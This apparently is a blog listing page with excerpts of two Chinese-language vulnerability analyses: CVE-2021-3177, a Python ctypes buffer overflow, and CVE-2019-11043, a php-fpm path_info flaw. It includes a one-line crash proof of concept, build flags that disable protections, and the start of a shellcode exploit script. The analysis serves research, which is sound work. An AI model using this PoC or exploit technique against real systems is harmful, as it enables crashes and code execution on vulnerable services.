CVE-2021-3177

CVE-2021-3177 Python RCE https://nvd.nist.gov/vuln/detail/CVE-2021-3177 https://bugs.python.org/issue42938 https://www.randori.com/cve-2021-3177-vulnerability-analysis/ TL;DR 漏洞成因:sprintf格式化%f造成的栈上缓冲区溢出 sprintf(buffer, "<cparam '%c' (%f)>",self->tag, self->value.d); 这是个品相并不好的洞,在默认开启漏洞缓解机制的情况下几乎不能RCE,只能影响服务可用性 Compile 这个问题涉及的版本很广,2021年1月18号以前的版本普遍存在 这里选择的tag: cpython-3.10.0a4 关于Python的编译和源码调试可以参考 https://xz.aliyun.com/t/7828 PoC 漏洞发生的原理是sprintf时buffer固定但是格式化%f时可以生成一个较长的数字字符串,从而产生溢出,这里有精度部分可以覆写到返回地址 from ctypes import * x = c_double.from_param(1e300) print(x) 直接运行,发生了abort *** buffer overflow detected ***: terminated Program received signal SIGABRT, Aborted. 栈溢出被fority保护检测到了,随后abort Require 造成RCE需要的条件 从远程端传递一个不受信任的浮点数到ctypes.c_double.from_param (注意:Python浮点数不受影响) 将该对象传递给repr()(例如通过日志记录) 使浮点数成为有效的机器代码。 让缓冲区溢出在正确的位置覆盖堆栈,让代码得到执行 ctypes如果在一些网络库中被依赖使用时,则很有可能被利用造成DoS,在一些平台未开启Fority、Canary保护的Python版本(更可能是IoT设备)中存在RCE风险 Exploit 编译没有保护的版本 ./configure OPT="-O0" CFLAGS="-m32 -fno-stack-protector -fno-pie -fno-pic" LDFLAGS="-m32" 格式化%f只能产生ascii码'0'~‘9’之间的值,也就是0x30-0x39,因此rip/eip也只能劫持到形如[0-9]+的地址上去 因此需要利用mmap在相应的低位地址上提前布置好shellcode 打印c_double对象触发溢出时执行任意shellcode 利用脚本 from ctypes import (c_double, c_int, CDLL, memmove, create_string_buffer, addressof) ########### # contrived setup, map executable memory with shellcode exactly where we want # to jump (an attacker would have to set this up somehow) libc = CDLL(None) syscall = libc....

April 9, 2021 · 1 min · γ

CVE-2019-11043

配置php-fpm如下 [global] error_log = /proc/self/fd/2 daemonize = no [www] access.log = /proc/self/fd/2 clear_env = no listen = 127.0.0.1:9000 pm = dynamic pm.max_children = 5 pm.start_servers = 1 pm.min_spare_servers = 1 pm.max_spare_servers = 1 将服务进程限制为1,方便调试 在页面中添加打印path_info <?php echo "hello world"; var_dump($_SERVER["PATH_INFO"]); 此时,由于一级路径即为index.php path_info应为空,但却打印出了PATH_INFO 使用tcpdump抓取nginx与php-fpm通过fastcgi通讯的流量 tcpdump -i any tcp -X port 9000 三次握手后在数据包中可以看到传递的path_info为空 判断修复只有一级路径的path时,确实存在过度回退path_info指针的异常 gdb attach 32 找到这个fcgi_accept_request函数调用点 init_request_info时会进行路径修复,修改pathinfo 在1127行后找到相关逻辑 pilen为0,slen为10,则env_path_info前移slen的长度,之后,在path_info中临时置零该位置。 即我们可以在这个位置获得一个临时的,前向越界写零操作 由于这个零很快就被改回old值,我们要想利用这个写零操作,最大的可能性就是在其间的两个fcgi操作中找到利用方式 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); 在fastcgi.h中找到相应宏定义 在gdb中 directory /usr/src/php 关联源码...

October 8, 2020 · 2 min · γ